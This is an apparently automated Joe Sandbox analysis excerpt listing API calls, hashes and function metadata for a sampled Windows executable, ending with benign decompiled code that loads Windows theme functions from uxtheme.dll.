Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 92616a0c773315b94590898aa4a0ca2ce8d2617e301858a5bf41299c043ccb5c
Instruction ID: 32889266fe6bc7d6de414e8ccc323fa13e2116c506fd23241cccaa57e6b5ba67
Opcode Fuzzy Hash: 92616a0c773315b94590898aa4a0ca2ce8d2617e301858a5bf41299c043ccb5c
Instruction Fuzzy Hash: ADD05B763082117BD220955BAC44EAB6BDCCBC5771F11063EB558C31C1D6709C05C675

Uniqueness

Uniqueness Score: -1.00%

Function 00423630 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004235DC: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 004235F1

ShowWindow.USER32(00410634,00000009,?,00000000,0041ED88,0042391E,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042364B

Part of subcall function 0042360C: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 00423628

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: ec654808fbd932f594afb4eea8cd3d7a7ec2b01bb1a8050975e878027e87d8e8
Instruction ID: 2c715c8115b6f45f2d9d75246f497caff8128bf2f9d99af5bd6ea08dbf484e7e
Opcode Fuzzy Hash: ec654808fbd932f594afb4eea8cd3d7a7ec2b01bb1a8050975e878027e87d8e8
Instruction Fuzzy Hash: 5DD05E527415703182303BB7384698B4AEC4DC22AA348043BB548CB303E91DCA06106C

Uniqueness

Uniqueness Score: -1.00%

Function 004242A8 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,00000000), ref: 004242C0

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 8e610f0dbba742b9926cd1bbdf10edc41fbf0fc82e2001be2856966de34d63d1
Instruction ID: 7620cff688a1dfde443edc2602f62e7a61d70f80693998c10b6ffb84950cf900
Opcode Fuzzy Hash: 8e610f0dbba742b9926cd1bbdf10edc41fbf0fc82e2001be2856966de34d63d1
Instruction Fuzzy Hash: F3D05BE270012017C701BAFD54C4ACA578C4F4925671541A7F904EB257C678DD408398

Uniqueness

Uniqueness Score: -1.00%

Function 0042CC44 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00450513,00000000), ref: 0042CC4F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 64b9ee0097f0801d6c5b724d659a890bd9e28945dc50801d3ed9265aa32bb838
Instruction ID: c2da3be9fc304088491ed52f96680ef007b2f0b2c8a569d1f3626438bd4e8fe4
Opcode Fuzzy Hash: 64b9ee0097f0801d6c5b724d659a890bd9e28945dc50801d3ed9265aa32bb838
Instruction Fuzzy Hash: 55C08CE03112100A9A14B5FE2DC960F0288498537A3A40E3BF42CF33E2D23D9822312C

Uniqueness

Uniqueness Score: -1.00%

Function 0046148C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00462104,00000000,00000000,00000000,00400000,STOPIMAGE,0000000C,00000000), ref: 004614A4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00406E58 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A8A8,0040CE54,?,00000000,?), ref: 00406E75

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 370a5b79166296d1c9eb2b781ecd89717d446db6d788d43bd9cd347de1c2462d
Instruction ID: 1716efc7a7a5fc259e55466b53f0f4780718e82ca7bae079f5c863eff473355b
Opcode Fuzzy Hash: 370a5b79166296d1c9eb2b781ecd89717d446db6d788d43bd9cd347de1c2462d
Instruction Fuzzy Hash: 89C048B138030032F52035B62C87F2A05489704B19E60943AB740FE1C2C8E9AC14025C

Uniqueness

Uniqueness Score: -1.00%

Function 00407240 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,0048D04A,00000000,0048D1E7,?,?,00000005,00000000,0048D21B,?,?,00000000), ref: 0040724B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 3293b503d2b4bba4523f910328dc84df787013104046f63be089ad99c5d39bd1
Instruction ID: cd60317c871f226fadd0360a9cb1dc89089301687d78bdcaa738a6012b6dfbea
Opcode Fuzzy Hash: 3293b503d2b4bba4523f910328dc84df787013104046f63be089ad99c5d39bd1
Instruction Fuzzy Hash: 92B012F039020A0BCE1079FE4CC1A1601CC4A0C3153401B3A3106F71C3DABCC4040518

Uniqueness

Uniqueness Score: -1.00%

Function 0044F988 Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,004592FD,00000000,004594A0,?,00000000,00000002,00000002), ref: 0044F98F

Part of subcall function 0044F710: GetLastError.KERNEL32(0044F52C,0044F7D2,?,00000000,?,0048D07E,00000001,00000000,00000002,00000000,0048D1E7,?,?,00000005,00000000,0048D21B), ref: 0044F713

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 1bf6835b3afa51b74cb730a9de17c91ad4b569e696476521ad68ea22dcb612be
Instruction ID: b2b96b09ef525cd457ca41c8cb055b05572dc6324dc2474920b98847753819a6
Opcode Fuzzy Hash: 1bf6835b3afa51b74cb730a9de17c91ad4b569e696476521ad68ea22dcb612be
Instruction Fuzzy Hash: 1FC04CA130011057AB00AAAA95C1A0663D85A083193014476B504CB346D66CDC184A18

Uniqueness

Uniqueness Score: -1.00%

Function 0042E213 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E231), ref: 0042E224

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 91d9d93420304f319e9933868cd9d852c6e8dedcaa327a019e74e8a4a384f10b
Instruction ID: c6a6be4e9996dc10a82074a0352963dd07900fb0b9602375012b66d7c7e97915
Opcode Fuzzy Hash: 91d9d93420304f319e9933868cd9d852c6e8dedcaa327a019e74e8a4a384f10b
Instruction Fuzzy Hash: DEB09B7670C6105DFB0996D5B45141D63D8D7C87103E144B7F400D6581D53C54014D3C

Uniqueness

Uniqueness Score: -1.00%

Function 004165D0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

73B09840.USER32(?), ref: 004165D7

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B09840
String ID:
API String ID: 1759212058-0
Opcode ID: f6972a2480f27a7129ca4b04d3909bf37eac93d34f4407162536fdf2d72391db
Instruction ID: 9856bc70106c22e97ab1ec520cce0ddbb631265c8c3a23e1343473c9e47e0204
Opcode Fuzzy Hash: f6972a2480f27a7129ca4b04d3909bf37eac93d34f4407162536fdf2d72391db
Instruction Fuzzy Hash: 19A002755015009ADE04B7A5C849F662298BB44604FC919F971449B092C53C99448A58

Uniqueness

Uniqueness Score: -1.00%

Function 00447C4C Relevance: 1.4, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d830e82b17be1ef0d3b420c64977f63d3de3b2e30364605b8a08e555b158ef
Instruction ID: 64a093b58ed3c4610da50c2f16de957c53d22dde73423ed03d631bc8bcc2e152
Opcode Fuzzy Hash: 20d830e82b17be1ef0d3b420c64977f63d3de3b2e30364605b8a08e555b158ef
Instruction Fuzzy Hash: 6B516270E041099FEB00EFA9C892AAFBBF5EF49314F5045AAE500E7351D7789D42CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0045AB44 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0045ABD4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 289dd0e19bdd8511bf0c61ecbf7da344159e4c2bc77963dad5564a886598a76d
Instruction ID: dd6cdc6ece25f1c21b857f6fd2b6abc26455cb85e706bf00de0f0a136f71bad4
Opcode Fuzzy Hash: 289dd0e19bdd8511bf0c61ecbf7da344159e4c2bc77963dad5564a886598a76d
Instruction Fuzzy Hash: 331187716002049BDB00EF15C981B5B3795EF8435AF04856AFD589F38BDB38EC18CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401678 Relevance: 1.3, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 004016E5

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ffc589d33c004b9bd0364f530d3b6ba28dfbeecb9f36a04ae4c8bf9cbf80bd37
Instruction ID: 90e4662f03d5827904a78abc1b52d7e6ba4b8c8856138baf025dab5c1f1d56fc
Opcode Fuzzy Hash: ffc589d33c004b9bd0364f530d3b6ba28dfbeecb9f36a04ae4c8bf9cbf80bd37
Instruction Fuzzy Hash: D011ACB2A057019FC3109F2DCC80A2BB7E5EBD4764F09C93EE598A73A5D635AC409749

Uniqueness

Uniqueness Score: -1.00%

Function 0041F3A8 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED88,?,00423873,00423BF0,0041ED88), ref: 0041F3C6

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 526a26da29d11af119f9d7ba56fcbd399bfaf6da53e4e9bf9272eda41a53d1cb
Instruction ID: f0f8e1da57a881b7641cd442aca00d26376d6a5e22af04d95045de3f42a27b19
Opcode Fuzzy Hash: 526a26da29d11af119f9d7ba56fcbd399bfaf6da53e4e9bf9272eda41a53d1cb
Instruction Fuzzy Hash: 3F115E742403059BC710EF1AC880B86F7E4EF98350F10C63AE959DB395E374E84A8BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00451390 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,004513F9), ref: 004513DB

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 7085aba6f9747b955f52780b382b7ef8523e2a06f0dac531c682da3981b3a60e
Instruction ID: b06bc9b339c214ba4a94f54531d437d24be5e552a7dfd6b2cca1f75ae5159756
Opcode Fuzzy Hash: 7085aba6f9747b955f52780b382b7ef8523e2a06f0dac531c682da3981b3a60e
Instruction Fuzzy Hash: 18017035A042046F8B00DFA99C108EEFBECDB493257208277FC58C3752EB345D05D6A4

Uniqueness

Uniqueness Score: -1.00%

Function 0040170C Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,?,?,00401973), ref: 00401766

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c3bad58e3a349f8d38943356346858b5553dccce22fca691034adf89bf18d248
Instruction ID: f8cbd67f58c92ddeb19a2584d8a2306648578cd87fb0279a361d6712a58d42d8
Opcode Fuzzy Hash: c3bad58e3a349f8d38943356346858b5553dccce22fca691034adf89bf18d248
Instruction Fuzzy Hash: 5B01FC766052148FC310AE29DCC0E1B77A8D794378F15453EDA85A73A1D37A6C0587D8

Uniqueness

Uniqueness Score: -1.00%

Function 0045AAEC Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,0045ABCA), ref: 0045AB03

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ba7dfedab2d753885414fddf25a2d649a5d641a576eeeb2b297990c1ce9bafdd
Instruction ID: e16b9322e8e931031d5e1aab247efaeffe82adfb84955da7b3c9217db4cbec11
Opcode Fuzzy Hash: ba7dfedab2d753885414fddf25a2d649a5d641a576eeeb2b297990c1ce9bafdd
Instruction Fuzzy Hash: 10D0C9B07503045BDB90EE794C81B0237D8BB08600F1044766904DB286E674E8008A28

Uniqueness

Uniqueness Score: -1.00%

Function 00406EE0 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00406EE1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 908f2f248552a0ffeecb9897031069d9754d5d124529b5664ba8aea297abd11b
Instruction ID: 56b9152c401b1c0a285676e9325b85ad2fc7f65617b8aebdb3a897c9874f60a6
Opcode Fuzzy Hash: 908f2f248552a0ffeecb9897031069d9754d5d124529b5664ba8aea297abd11b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0044A890 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044A890() {
				signed int _t3;

				 *0x48f73c =  *0x48f73c + 1;
				if( *0x48f738 == 0) {
					_t3 = E0044A83C();
					if(_t3 != 0) {
						_t3 = LoadLibraryA("uxtheme.dll");
						 *0x48f738 = _t3;
						if( *0x48f738 != 0) {
							 *0x48f67c = GetProcAddress( *0x48f738, "OpenThemeData");
							 *0x48f680 = GetProcAddress( *0x48f738, "CloseThemeData");
							 *0x48f684 = GetProcAddress( *0x48f738, "DrawThemeBackground");
							 *0x48f688 = GetProcAddress( *0x48f738, "DrawThemeText");
							 *0x48f68c = GetProcAddress( *0x48f738, "GetThemeBackgroundContentRect");
							 *0x48f690 = GetProcAddress( *0x48f738, "GetThemeBackgroundContentRect");
							 *0x48f694 = GetProcAddress( *0x48f738, "GetThemePartSize");
							 *0x48f698 = GetProcAddress( *0x48f738, "GetThemeTextExtent");
							 *0x48f69c = GetProcAddress( *0x48f738, "GetThemeTextMetrics");
							 *0x48f6a0 = GetProcAddress( *0x48f738, "GetThemeBackgroundRegion");
							 *0x48f6a4 = GetProcAddress( *0x48f738, "HitTestThemeBackground");
							 *0x48f6a8 = GetProcAddress( *0x48f738, "DrawThemeEdge");
							 *0x48f6ac = GetProcAddress( *0x48f738, "DrawThemeIcon");
							 *0x48f6b0 = GetProcAddress( *0x48f738, "IsThemePartDefined");
							 *0x48f6b4 = GetProcAddress( *0x48f738, "IsThemeBackgroundPartiallyTransparent");
							 *0x48f6b8 = GetProcAddress( *0x48f738, "GetThemeColor");
							 *0x48f6bc = GetProcAddress( *0x48f738, "GetThemeMetric");
							 *0x48f6c0 = GetProcAddress( *0x48f738, "GetThemeString");
							 *0x48f6c4 = GetProcAddress( *0x48f738, "GetThemeBool");
							 *0x48f6c8 = GetProcAddress( *0x48f738, "GetThemeInt");
							 *0x48f6cc = GetProcAddress( *0x48f738, "GetThemeEnumValue");
							 *0x48f6d0 = GetProcAddress( *0x48f738, "GetThemePosition");
							 *0x48f6d4 = GetProcAddress( *0x48f738, "GetThemeFont");
							 *0x48f6d8 = GetProcAddress( *0x48f738, "GetThemeRect");
							 *0x48f6dc = GetProcAddress( *0x48f738, "GetThemeMargins");
							 *0x48f6e0 = GetProcAddress( *0x48f738, "GetThemeIntList");
							 *0x48f6e4 = GetProcAddress( *0x48f738, "GetThemePropertyOrigin");
							 *0x48f6e8 = GetProcAddress( *0x48f738, "SetWindowTheme");
							 *0x48f6ec = GetProcAddress( *0x48f738, "GetThemeFilename");
							 *0x48f6f0 = GetProcAddress( *0x48f738, "GetThemeSysColor");
							 *0x48f6f4 = GetProcAddress( *0x48f738, "GetThemeSysColorBrush");
							 *0x48f6f8 = GetProcAddress( *0x48f738, "GetThemeSysBool");
							 *0x48f6fc = GetProcAddress( *0x48f738, "GetThemeSysSize");
							 *0x48f700 = GetProcAddress( *0x48f738, "GetThemeSysFont");
							 *0x48f704 = GetProcAddress( *0x48f738, "GetThemeSysString");
							 *0x48f708 = GetProcAddress( *0x48f738, "GetThemeSysInt");
							 *0x48f70c = GetProcAddress( *0x48f738, "IsThemeActive");
							 *0x48f710 = GetProcAddress( *0x48f738, "IsAppThemed");
							 *0x48f714 = GetProcAddress( *0x48f738, "GetWindowTheme");
							 *0x48f718 = GetProcAddress( *0x48f738, "EnableThemeDialogTexture");
							 *0x48f71c = GetProcAddress( *0x48f738, "IsThemeDialogTextureEnabled");
							 *0x48f720 = GetProcAddress( *0x48f738, "GetThemeAppProperties");
							 *0x48f724 = GetProcAddress( *0x48f738, "SetThemeAppProperties");
							 *0x48f728 = GetProcAddress( *0x48f738, "GetCurrentThemeName");
							 *0x48f72c = GetProcAddress( *0x48f738, "GetThemeDocumentationProperty");
							 *0x48f730 = GetProcAddress( *0x48f738, "DrawThemeParentBackground");
							_t3 = GetProcAddress( *0x48f738, "EnableTheming");
							 *0x48f734 = _t3;
						}
					}
				}
				return _t3 & 0xffffff00 |  *0x48f738 != 0x00000000;
			}

0x0044a896
0x0044a89f
0x0044a8a5
0x0044a8ac
0x0044a8b7
0x0044a8bc
0x0044a8c1
0x0044a8d4
0x0044a8e6
0x0044a8f8
0x0044a90a
0x0044a91c
0x0044a92e
0x0044a940
0x0044a952
0x0044a964
0x0044a976
0x0044a988
0x0044a99a
0x0044a9ac
0x0044a9be
0x0044a9d0
0x0044a9e2
0x0044a9f4
0x0044aa06
0x0044aa18
0x0044aa2a
0x0044aa3c
0x0044aa4e
0x0044aa60
0x0044aa72
0x0044aa84
0x0044aa96
0x0044aaa8
0x0044aaba
0x0044aacc
0x0044aade
0x0044aaf0
0x0044ab02
0x0044ab14
0x0044ab26
0x0044ab38
0x0044ab4a
0x0044ab5c
0x0044ab6e
0x0044ab80
0x0044ab92
0x0044aba4
0x0044abb6
0x0044abc8
0x0044abda
0x0044abec
0x0044abfe
0x0044ac0b
0x0044ac10
0x0044ac10
0x0044a8c1
0x0044a8ac
0x0044ac1c

APIs

Part of subcall function 0044A83C: GetVersionExA.KERNEL32(00000094), ref: 0044A859

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044EBAD,0048DCE5), ref: 0044A8B7
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044A8CF
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044A8E1
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044A8F3
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044A905
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044A917
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044A929
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044A93B
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044A94D
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044A95F
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044A971
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044A983
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044A995
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044A9A7
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044A9B9
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044A9CB
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044A9DD
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044A9EF
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044AA01
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044AA13
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044AA25
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044AA37
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044AA49
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044AA5B
